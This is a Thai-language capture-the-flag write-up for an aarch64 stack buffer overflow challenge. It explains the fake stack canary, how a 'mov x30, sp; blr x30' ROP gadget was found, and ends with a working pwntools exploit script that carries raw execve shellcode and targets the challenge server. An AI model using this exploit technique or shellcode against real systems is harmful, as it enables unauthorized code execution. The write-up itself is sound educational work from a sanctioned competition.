STDiO CTF 2023: 09 — BabiB0f (Pwnable) writeup

Natsuiro XCN
4 min readDec 4, 2023

--

6 solves

หากใครยังไม่ได้อ่านข้อแรก ผมแนะนำให้กลับไปอ่านก่อนนะครับ : https://medium.com/@netorika/stdio-ctf-2023-10-the-winner-pwnable-writeup-88b3bb531225

เพราะว่านี้โจทย์ข้อนี้ ผมจะไม่อธิบายเรื่อง basic แล้ว…

ถ้าสงสัยตรงไหนมาถามผมได้เลยนะครับ!
discord : natsuiro_xcn
facebook : Xcn Nate

เนื่องจากว่าในครั้งนี้เป็น assmbly arm aarch64 ซึ่งผมไม่สามารถรัน ด้วย kali ที่ผมมีอยู่ได้ ผมเลยไปลง qemu ตามคำแนะนำของโจทย์
ซึ่งผมก็ได้ตรงนี้มาครับ https://gist.github.com/billti/d904fd6124bf6f10ba2c1e3736f0f0f7

แต่สุดท้ายผมก็ไม่ได้ debug และ ไม่ได้ใช้ตัวนี้ในการทดสอบอยู่ดีครับ

เพราะฉนั้นจากตรงนี้ไป ผมไม่ได้ debug เลยนะครับ skill ล้วนๆ 5555

pwn checksec ก่อนครับบ

อืมอืม เข้าใจแล้ว มี stack canary ส่วนอันอื่นปิดหมด
nx disable คือ stack execute ได้ และ ไม่มี Pie แสดงว่า Position ทุกอย่างเหมือนเดิมไม่ random

โดยผมเดาว่าข้อนี้ น่าจะเป็น stack shell code
แต่ผมก็ยังแอบสงสัยนะ ว่าถ้ามี nx disable ที่ stack สามารถรันโค้ดได้ แต่เค้าก็ใส่ stack canary ที่กันไม่ให้เรา buffer overflow เพื่อควบคุม control flowไว้

ผมใช้ cutter ในการ Disassembly และ ทำความเข้าใจ instruction นะครับ

เริ่มจาก Main function ก่อนครับ

main wth ToT

ร้องไห้ครับ อ่านไม่ออกเลย 55555 ปกติแล้วผมจะอยู่แค่กับสาย x86, x64 ของ intel ผมไม่เคยทำ arm assembly เลย

แน่นอนครับ อะไรที่เราไม่รู้เราก็ต้อง research

  • ผ่านไป 6ช.ม.* เคครับพี่ พอจะอ่านออกแล้ว

เรามาดู vuln function กันดีกว่าครับ

vuln

เดี๋ยวผมจะอธิบายนะครับบ
bl เนี่ย คือการ jmp ดีๆนั้นเองครับ ซึ่งมันก็จะเหมือนกับใน x86_64 เลย ว่ามันก็จะมีหลาย jmp อีกเช่นกันครับ 5555
adrp 0x, 0x459000; add 0x0, 0x0, 0x378 ให้อารมณ์เหมือนกับว่า array ของ local variable ของเราเริ่มต้นที่ 0x459000 แล้ว บวก offset ไปที่ 0x378 เพื่อไปหา variable ประมาณนี้ครับ
ถ้าได้ลองอ่านดูแล้วจะรู้สึกว่า ไม่ยากเลยครับ ^^

โดยตัวโค้ดจะสรุปออกมาได้ประมาณนี้เลย

puts("Overflow me!!");
gets(&s)
puts("What\'s your input is\n");
puts(&s);

แต่ว่า เดี๋ยวก่อนนะ จากที่ผมอ่านมามันไม่เห็นมี Stack Canary เลย

ทุกคนจำได้ไหมครับ Stack Canary มันจะมีลักษณะหน้าตาที่เฉพาะมากๆ ซึ่งมันจะเปรียบเทียบ ค่าใน fs register แล้วก็ jmp __stack_check_fail

stack canary

แสดงว่า ฮันแน่! stack canary ปลอม
ยังจำได้อยู่ไหมครับว่าข้อนี้ nx disable แสดงว่าก็น่าจะเป็น stack shellcode แล้วแหละ

สำหรับคนที่ยังไม่เคยอ่านเกี่ยวกับ stack shell code นะครับบ
— — — — — → จิ้มตรงนี้เลยๆ

หลักการคร่าวๆของการทำ stack shell code คือการ jmp ไปที่ stack pointer (sp) ซึ่ง contain shell code ไว้

stack we need

ภาพนี้คือหน้าตาของ stack ที่เราต้องการครับ เราจะใส่ buffer padding 72(0x48) ตัวเพื่อจะ overflow ไปให้ถึงที่เก็บ return instruction pointer ครับ แล้วหลังจากที่เรา hijack control flow ได้แล้ว เราก็จะใส่ sp + 8 (ตำแหน่งที่เก็บ instruction pointer + 8) เพื่อไปรัน shell code ที่เราใส่เอาไว้ครับ

40+8 -> return instruction pointer

แต่แน่นอนครับ PIE มันทำให้ address ต่างๆใน memory มันคงที่เนาะ แต่ว่ามันไม่ได้ทำให้ stack คงที่นะครับ ตำแหน่งจะยังเปลี่ยนเสมอ แล้วเราจะทำยังไงอะ

เพื่อใครงงนะครับ ว่าทำไมมันถึงยาก ผมจะบอกให้

ret instruction ทำหน้าที่คล้ายๆกับ call [rsp] ครับ เอาง่ายๆก็คือ load ค่าที่อยู่ข้างในของ rsp ออกมาแล้ว ถึงจะ jmp ไปยัง address ที่ dereference ออกมาเพื่อรัน shell code ได้
นั่นแหละครับ เราจำเป็นต้องหา rsp ให้ได้ก่อน เราไม่สามารถใส่ shell เข้าไปตรงๆได้
เพราะว่าถ้าเราใส่ shell เข้าไปตรงๆ call [rsp] มันจะพยายาม dereference shell
ซึ่งmemoryนั้นมันไม่สามารถอ่านค่าให้เป็น instruction ได้ และจะทำให้เกิด sigsegv(segmentation fault)

จากรูปนะ สมมุตินะครับว่า rsp ชี้ไปที่ 0xff48 ซึ่งเก็บ address 0xff50 ไว้ และ 0xff50 ก็เก็บ shell เอาไว้โดย shell คือ 0xCCCCCCCC
ถ้าผมบอกว่า ผมไม่มีตำแหน่ง rsp แล้วผมให้shell อยู่ที่ top stack แล้วตอน ret นะครับ มันก็จะ call [rsp] ซึ่ง [0xff48] จะได้ค่าเป็น 0xCCCCCCCC และ call 0xCCCCCCCC และแน่นอนครับ เราพยายาม jmp ไปยัง0xCCCCCCCC จะทำให้ segmentation fault แน่นอน

นั้นแหละครับ ประมาณนี้แหละว่าทำไมเราต้องหา rsp ให้เจอก่อน
แต่ผมว่าเรามีวิธีที่ไม่ต้องใช้นะ …

rop uwu

ครับ ใช่ครับ rop gadget นั่นเองอันดับแรกเราก็แค่ใส่ address ของ rop gadget เข้าไปที่ top stack (ต่อจาก padding 72 ตัว) แค่นี้มันก็จะ jmp ไปยัง gadget ของเราแล้วครับ แล้วหลังจากที่เรา jmp ไปแล้วก็ให้มันเรียกใช้ rsp call 0xff50 เพื่อที่จะเรียกใช้ shell ของเรา ประมาณนี้ครับผมสำหรับ analyse

ง่ายนิดเดียวครับ แค่หา rop gadget

11132 gadget

ครับ 11,132 gadget ครับ เลื่อนหาตาแตกเลย 555555
สำหรับโจทย์ข้อนี้นะครับ gadget มันเป็น arm aarch64 ซึ่งใช้ mnemonic เป็น bl, blr สำหรับการ jmp ผมก็เลยใช้ regex search เพื่อลดเวลาการหาครับ
ผมก็เลยหาไปเรื่อยๆครับโดยใช้หลักการว่า มันจะต้อง bl sp หรือ blr sp หรือไม่ก็จำพวก mov x0, sp; bl x0 แน่ๆ

จนผมไปเจอกับ gadget ยาวๆ 2 ตัวที่ดูเหมือนจะใช้ได้ (ผมเลือกตัวบนนะครับ เพราะด้างล่างมันมี ret อีกรอบนึง)ทีนี้ กลับไปอ่านที่ writeup ข้อที่แล้วของผม ตรงนี้

จะเห็นว่า การทำงานเนี่ย ตัวโค้ดมันประกอบไปด้วย instruction มากมายเลย ซึ่งinstruction ที่มันทำงานต่อๆกันนั้น มันก็อยู่ติดๆกันนั้นแหละ และเราสามารถยิบเลือก instruction ตัวอื่นมาใช้ได้หากเรารู้ address ของมัน เพราะฉนั้นตัว Rop gadget ที่ผมไปเจอมา ผมจึงเลือกมาแค่ส่วนท้ายของมัน (เอาไป search อีกรอบนึง)

นี่แหละ ตัวนี้แหละ ใช่เลย สิ่งที่เราต้องการ 0x400794 -> \x94\x07\x40
mov x30, sp และ jmp ไปที่ x30

โอเคครับ ขั้นตอนสุดท้าย ไหน shell?

ไม่รู้ครับ ผมทำเองสร้างเอง ไม่ได้ก้อปใคร แล้วผมก็มารู้ที่หลังว่ามันมี shell แจกใน exploit-db :(

source : https://www.exploit-db.com/exploits/47048 นี่เลยครับ ไม่ต้องดูผมเขียนเองหรอก โครงคล้ายๆกันแต่เละมาก ผมไปนั่งหาวิธีเอา string เข้าไปใน register ตั้งนาน5555 #เขียนassemblyArmAarch64Shellไม่ตลก

สรุปครับ

  1. padding 72 ตัวสำหรับ buffer overflow control return address
  2. rop gadget address mov x30,sp ; blr x30
  3. shell

ประกอบกันแล้วยิง exploit ครับ

from pwn import *
rec = remote("34.143.142.213",10009)
rec.recvuntil(b"!!")
#st = b"a"*(72) +b''
st = b'a'*72+b'\x94\x07\x40\x00\x00\x00\x00\x00\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4'
rec.sendline(st)
rec.interactive()
แค่นี้แหละ จบ นอน แยกย้าย

สรุปครับผม

  1. พี่ครับขอร้อง อย่าเอา arm มาออกอีกเลย x86/x64 อะดีแล้ว
  2. นอกจากเอามารันเล่นๆไม่ได้ ก็ยัง debug ไม่ได้อีก
  3. พี่ฟังผมนะ เครื่องผม mem เต็มแล้ว ลงโปรแกรมเพิ่มไม่ได้ ต้องไปเปิด notebookอีกเครื่องมาเป็น host แล้ว ssh เข้าไป :(
  4. สรุปสุดท้าย ผมก็ไม่ได้ debug แต่เอามา compile reverse shell แทน 5555
  5. จาก ข้อ4 รอดูในโจทย์ข้อถัดไปได้เลยครับบบบ

以上です!

--

--